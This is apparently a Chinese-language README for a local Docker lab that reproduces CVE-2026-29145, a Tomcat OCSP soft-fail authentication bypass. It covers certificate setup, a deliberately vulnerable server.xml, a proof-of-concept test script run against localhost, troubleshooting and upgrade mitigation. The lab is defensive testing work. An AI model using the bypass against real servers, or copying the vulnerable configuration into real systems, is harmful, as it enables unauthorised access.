| 属性 | 值 |
|---|
| CVE ID | CVE-2026-29145 |
| CVSS 评分 | 9.1(严重)- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| 攻击向量 | 网络 |
| 所需权限 | 无 |
| 影响 | 身份验证绕过 |
.ps1 脚本run_test.sh 脚本自动化整个流程:清理、证书生成以及运行所有测试场景(易受攻击、成功和已修补)。
# 导航到项目目录
cd CVE-2026-29145-Tester
# 使脚本可执行
chmod +x cleanup.sh setup_certs.sh run_test.sh
# 安装 Python 依赖(如果 poc_exploit.py 需要)
pip install -r requirements.txt
# 运行完整测试套件
./run_test.sh
在 Linux/macOS 上:
./setup_certs.sh
在 Windows 上(PowerShell):
.\setup_certs.ps1
此操作的作用:
http://localhost:8888 的 OCSP 扩展的客户端证书预期输出:
[INFO] 开始为 CVE-2026-29145 测试环境生成证书
[INFO] 找到 OpenSSL:OpenSSL 3.0.x (...)
[INFO] 已创建 certs 目录
[INFO] 正在生成根 CA...
[INFO] 正在生成服务器证书...
[INFO] 正在生成带 OCSP 扩展的客户端证书...
[INFO] 证书设置成功完成!
docker-compose up -d
此操作的作用:
验证容器正在运行:
docker-compose ps
python poc_exploit.py
预期输出:
易受攻击的系统:
[INFO] 正在尝试连接到 https://localhost:8443/protected-resource...
[WARNING] 易受攻击:尽管 OCSP 检查失败,仍授予访问权限。
[WARNING] 响应预览:<html>...
已修补的系统:
[INFO] 正在尝试连接到 https://localhost:8443/protected-resource...
[INFO] 不易受攻击:访问被拒绝(身份验证正常工作)。
| 场景 | OCSP 状态 | 预期(已修补) | 结果(易受攻击) | 备注 |
|---|---|---|---|---|
| 正常操作 | 在线且有效 | 200 OK ✓ | 200 OK ✓ | OCSP 检查成功,授予访问权限 |
| 软失败 | 离线/超时 | 403 禁止 ✓ | 200 OK ✗ | 绕过 - OCSP 响应器不可达 |
| 硬性吊销 | 在线且已吊销 | 403 禁止 ✓ | 403 禁止 ✓ | 证书被明确吊销 |
| 无效证书 | 无效链 | 403 禁止 ✓ | 403 禁止 ✓ | 链验证失败 |
测试 1:默认(OCSP 响应器失败)
# 保持容器运行
python poc_exploit.py
测试 2:停止 OCSP 响应器(模拟超时)
docker-compose pause ocsp-responder
python poc_exploit.py
docker-compose unpause ocsp-responder
测试 3:使用 curl 手动测试
curl -v \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://localhost:8443/protected-resource
CVE-2026-29145-Tester/
├── README.md # 本文件
├── setup_certs.sh # 证书生成脚本 - Bash(Linux/macOS)
├── setup_certs.ps1 # 证书生成脚本 - PowerShell(Windows)
├── cleanup.sh # 清理和重置脚本 - Bash(Linux/macOS)
├── cleanup.ps1 # 清理和重置脚本 - PowerShell(Windows)
├── run_test.sh # 自动化完整测试周期脚本
├── docker-compose.yml # Docker 服务编排
├── requirements.txt # Python 依赖
├── poc_exploit.py # 主测试脚本(带日志记录和错误处理)
├── simple_proxy_fail.py # 模拟 OCSP 响应器(带详细日志记录)
├── .gitignore # 证书和日志的 Git 忽略规则
├── certs/ # 生成的证书(由 setup_certs 脚本创建)
│ ├── ca-chain.pem # 根 CA 证书
│ ├── ca-key.pem # 根 CA 私钥
│ ├── server-cert.pem # Tomcat 服务器证书
│ ├── server-key.pem # Tomcat 服务器私钥
│ ├── client-cert.pem # 测试客户端证书
│ └── client-key.pem # 测试客户端私钥
├── tomcat/
│ └── server.xml # 易受攻击的 Tomcat 配置
└── logs/ # Tomcat 日志(运行时创建)
tomcat/server.xml 文件配置:
<SSLHostConfig
hostName="localhost"
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem">
<OpenSSLConf>
<ConfCommand name="OCSP" value="on"/>
</OpenSSLConf>
</SSLHostConfig>
关键设置:
certificateVerification="required" - 强制 CLIENT_CERT 身份验证OCSP on - 启用 OCSP 吊销检查模拟 OCSP 响应器(simple_proxy_fail.py):
localhost:8888# macOS
brew install openssl
# Ubuntu/Debian
sudo apt-get install openssl
# CentOS/RHEL
sudo yum install openssl
原因: 证书生成失败或未运行。
# 清理并重新生成
rm -rf certs
./setup_certs.sh
原因: Tomcat 容器未运行或未就绪。
# 检查容器状态
docker-compose ps
# 检查日志
docker-compose logs vulnerable-tomcat
# 确保两个服务都在运行且健康
docker-compose up -d
sleep 10 # 等待服务启动
原因: Tomcat 启动时间过长或网络问题。
# 检查 Tomcat 启动日志
docker-compose logs vulnerable-tomcat
# 增加超时时间并重试
timeout 30 docker-compose logs -f vulnerable-tomcat # 监控启动过程
原因: Docker Compose 未安装或不在 PATH 中。
# 安装 Docker Compose(如果使用独立版本)
sudo curl -L "https://github.com/docker/compose/releases/download/v2.x.x/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
# 或使用 docker compose(Docker Desktop 集成的 V2 版本)
docker compose up -d
原因: 证书验证失败。
# 验证证书文件是否存在
ls -la certs/
# 检查证书有效性
openssl x509 -in certs/client-cert.pem -noout -text
原因: SSL 握手失败 - 可能表明硬失败正在正常工作。
解决方案: 这实际上是一个积极信号!当 OCSP 失败时,硬失败正在阻止访问。
# 检查 OCSP 响应器是否正在运行
docker-compose ps ocsp-responder
# 查看详细错误
python poc_exploit.py # 已提供详细日志记录
原因: 端口 8443 或 8888 已被占用。
# 查找使用该端口的进程
lsof -i :8443
lsof -i :8888
# 终止进程或在 docker-compose.yml 中使用不同端口
# Tomcat 日志
docker-compose logs -f vulnerable-tomcat
# OCSP 响应器日志
docker-compose logs -f ocsp-responder
# Python 脚本调试
python poc_exploit.py # 已包含详细日志记录
# 打开终端并运行
docker-compose logs -f
# 在另一个终端中运行测试
python poc_exploit.py
# 测试与 OCSP 响应器的连接
curl http://localhost:8888/
# 从 Tomcat 容器内部测试 OCSP 响应器
docker exec vulnerable-tomcat curl http://ocsp-responder:8888/
# 测试 SSL 握手
openssl s_client -connect localhost:8443 \
-cert certs/client-cert.pem \
-key certs/client-key.pem \
-CAfile certs/ca-chain.pem
要移除所有容器、卷、证书和日志:
在 Linux/macOS 上:
./cleanup.sh
在 Windows 上(PowerShell):
.\cleanup.ps1
此操作的作用:
certs/ 目录logs/ 目录验证清理:
docker-compose ps # 应显示无内容
ls -la certs/ # 应不存在
本项目仅用于教育和授权安全测试目的。
要缓解此漏洞,请将 Apache Tomcat 升级到以下版本:
| 版本系列 | 最低修复版本 |
|---|---|
| 11.0.x | 11.0.20 或更高版本 |
| 10.1.x | 10.1.53 或更高版本 |
| 9.0.x | 9.0.116 或更高版本 |
升级步骤:
# 示例:更新 docker-compose.yml 以使用已修补的版本
# 更改:image: tomcat:10.1.52-jdk17
# 为:image: tomcat:10.1.53-jdk17
docker-compose down
docker-compose up -d
如有问题、疑问或贡献,请提交 issue 或 pull request。
最后更新: 2026 年 4 月
状态: 测试和文档已完成